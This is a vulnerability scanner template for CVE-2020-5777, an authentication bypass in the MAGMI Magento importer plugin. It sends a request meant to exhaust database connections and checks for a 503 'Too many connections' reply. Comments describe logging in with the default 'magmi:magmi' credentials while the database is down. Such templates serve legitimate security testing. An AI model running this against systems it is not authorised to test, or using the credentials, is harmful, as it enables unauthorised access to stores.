id: CVE-2020-5777

info:
  name: Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23
  author: dwisiswant0
  severity: critical
  description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
  reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
  tags: cve,cve2020,magmi,magento

  # Response code 503 indicates a potential successful "Too many connections" error
  # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
  # with default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
  # Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-5777
    cwe-id: CWE-287

requests:
  - raw:
      - |
        GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Too many connections"
        part: body
      - type: status
        status:
          - 503